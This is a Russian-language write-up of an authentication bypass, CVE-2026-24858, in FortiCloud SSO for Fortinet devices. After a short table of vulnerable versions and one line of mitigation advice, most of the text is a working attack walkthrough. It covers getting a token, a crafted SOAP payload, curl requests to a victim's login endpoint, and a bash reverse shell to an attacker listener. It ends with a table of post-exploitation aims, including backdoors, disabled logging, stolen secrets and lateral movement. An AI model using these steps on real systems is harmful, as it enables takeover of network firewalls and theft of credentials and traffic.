
CVE-2026-24858 FortiCloud Single Sign On (SSO) — функция, включённая по умолчанию после регистрации любого FortiGate/FortiManager/FortiAnalyzer, содержит критическую уязвимость обхода аутентификации.
FortiCloud Single-Sign-On (SSO) — функция, включённая по умолчанию после регистрации любого FortiGate/FortiManager/FortiAnalyzer, содержит критическую уязвимость обхода аутентификации.
Злоумышленник, владеющий любой учётной записью FortiCloud (бесплатной или платной), может повторно использовать свой SSO-токен для входа в устройства других клиентов (версии ≤ указанных ниже) без знания их паролей.
После эксплуатации предоставляется полный доступ к административному GUI и root-оболочке, что позволяет перехватывать трафик, вмешиваться в работу VPN или перемещаться по внутренним сетям.
Немедленно обновите прошивку или отключите FortiCloud SSO до установки патча.
| Продукт | Уязвимая прошивка | Исправленная версия |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | та же major.minor+1 |
| FortiAnalyzer | те же диапазоны | та же |
Машина атакующего
Прослушивание для reverse shell:
nc -lvnp 4444
Получение токена атакующего (TTL 15 минут)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
Ответ (фрагмент):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
Скопируйте значение access_token.
Создание payload для обхода
Сохраните как bypass.xml:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
Отправка жертве (любая прошивка ≤ указанной в таблице выше)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → успех.
Доступ к административному GUI
Откройте браузер или используйте curl с сохранённой cookie:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ Появляется Dashboard — пароль не запрашивается.
Root-оболочка (виджет CLI)
В GUI: Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
Прослушиватель получает:
root@FGT80ETK21000000:/#
| Сценарий | Результат |
|---|---|
| Администратор только для чтения | Экспорт полной конфигурации (секреты VPN, локальные политики, хэши пользователей). |
| Администратор с правами записи | Изменение правил межсетевого экрана, создание локальных пользователей, отключение журналирования, внедрение постоянных скриптов. |
| Root-оболочка | Извлечение config.dat, получение ключей HA, переход во внутренние подсети, внедрение бэкдор-сервиса. |
| Горизонтальное перемещение | Устройство становится плацдармом; VLAN и SSL-VPN туннели считаются доверенными → более глубокое проникновение в сеть. |
| Экфильтрация данных | Весь трафик проходит через FortiGate → прозрачный прокси + внедрение сертификатов. |